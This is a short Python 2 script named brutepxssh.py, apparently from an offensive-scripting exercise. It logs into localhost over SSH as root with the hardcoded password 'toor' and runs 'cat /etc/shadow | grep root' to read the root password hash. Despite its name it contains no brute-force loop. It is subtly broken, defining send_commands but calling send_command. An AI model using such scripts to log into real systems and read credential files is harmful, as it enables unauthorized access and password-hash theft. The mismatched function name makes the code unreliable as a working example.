brutepxssh.py

#! /usr/bin/env python

import pxssh
def send_commands(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print s.before
def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print '[-] Error Connecting'
        exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')